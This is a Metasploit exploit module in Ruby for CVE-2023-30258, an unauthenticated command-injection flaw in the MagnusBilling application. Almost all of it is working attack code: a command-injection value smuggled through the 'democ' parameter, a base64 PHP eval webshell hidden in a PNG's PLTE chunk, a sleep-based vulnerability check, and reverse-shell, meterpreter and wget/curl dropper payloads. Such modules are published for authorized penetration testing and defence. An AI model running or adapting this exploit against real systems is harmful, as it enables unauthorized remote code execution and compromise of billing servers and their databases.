MagnusBilling Remote Command Execution

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/stopwatch'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Format::PhpPayloadPng  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'MagnusBilling application unauthenticated Remote Command Execution.',  
'Description' => %q{  
A Command Injection vulnerability in MagnusBilling application 6.x and 7.x allows  
remote attackers to run arbitrary commands via unauthenticated HTTP request.  
A piece of demonstration code is present in `lib/icepay/icepay.php`, with a call to an exec().  
The parameter to exec() includes the GET parameter `democ`, which is controlled by the user and  
not properly sanitised/escaped.  
After successful exploitation, an unauthenticated user is able to execute arbitrary OS commands.  
The commands run with the privileges of the web server process, typically `www-data` or `asterisk`.  
At a minimum, this allows an attacker to compromise the billing system and its database.  
  
The following MagnusBilling applications are vulnerable:  
- MagnusBilling application version 6 (all versions);  
- MagnusBilling application up to version 7.x without commit 7af21ed620 which fixes this vulnerability;  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor  
'Eldstal' # Discovery of the vulnerability  
  
],  
'References' => [  
['CVE', '2023-30258'],  
['URL', 'https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258'],  
['URL', 'https://eldstal.se/advisories/230327-magnusbilling.html']  
],  
'DisclosureDate' => '2023-06-26',  
'Platform' => ['php', 'unix', 'linux'],  
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X64, ARCH_X86],  
'Privileged' => true,  
'Targets' => [  
[  
'PHP',  
{  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Type' => :php,  
'DefaultOptions' => {  
'PAYLOAD' => 'php/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Unix Command',  
{  
'Platform' => ['unix', 'linux'],  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X64, ARCH_X86],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => ['wget', 'curl', 'bourne', 'printf', 'echo'],  
'Linemax' => 2048,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options([  
OptString.new('TARGETURI', [ true, 'The MagnusBilling endpoint URL', '/mbilling' ]),  
OptString.new('WEBSHELL', [  
false, 'The name of the webshell with extension. Webshell name will be randomly generated if left unset.', nil  
], conditions: %w[TARGET == 0])  
])  
end  
  
def execute_command(cmd, _opts = {})  
return send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', 'icepay.php'),  
'vars_get' =>  
{  
'democ' => "/dev/null;#{cmd};#"  
}  
})  
end  
  
def execute_php(cmd, _opts = {})  
payload = Base64.strict_encode64(cmd)  
return send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'lib', 'icepay', @webshell_name),  
'ctype' => 'application/x-www-form-urlencoded',  
'vars_post' => {  
@post_param => payload  
}  
})  
end  
  
def upload_webshell  
# randomize file name if option WEBSHELL is not set  
@webshell_name = if datastore['WEBSHELL'].blank?  
"#{Rex::Text.rand_text_alpha(8..16)}.php"  
else  
datastore['WEBSHELL'].to_s  
end  
  
@post_param = Rex::Text.rand_text_alphanumeric(1..8)  
  
# inject PHP payload into the PLTE chunk of a PNG image to hide the payload  
php_payload = "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>"  
png_webshell = inject_php_payload_png(php_payload, injection_method: 'PLTE')  
return nil if png_webshell.nil?  
  
# encode webshell data, set write and execute permissions and write to file on the target for execution  
payload = Base64.strict_encode64(png_webshell.to_s)  
cmd = "chmod 755 ./;echo #{payload}|base64 -d > ./#{@webshell_name}"  
execute_command(cmd)  
end  
  
def check  
print_status("Checking if #{peer} can be exploited.")  
res = send_request_cgi!({  
'method' => 'GET',  
'ctype' => 'application/x-www-form-urlencoded',  
'uri' => normalize_uri(target_uri.path)  
})  
# Check if target is a magnusbilling application  
return CheckCode::Unknown('No response received from target.') unless res  
return CheckCode::Safe('Likely not a magnusbilling application.') unless res.code == 200 && res.body =~ /MagnusBilling/i  
  
# blind command injection using sleep command  
sleep_time = rand(4..8)  
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")  
_res, elapsed_time = Rex::Stopwatch.elapsed_time do  
execute_command("sleep #{sleep_time}")  
end  
print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")  
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time  
  
CheckCode::Vulnerable('Successfully tested command injection.')  
end  
  
def exploit  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
case target['Type']  
when :php  
res = upload_webshell  
fail_with(Failure::PayloadFailed, 'Web shell upload error.') unless res && res.code == 200  
register_file_for_cleanup(@webshell_name.to_s)  
execute_php(payload.encoded)  
when :unix_cmd  
execute_command(payload.encoded)  
when :linux_dropper  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_cmdstager({ linemax: target.opts['Linemax'] })  
end  
end  
end  
`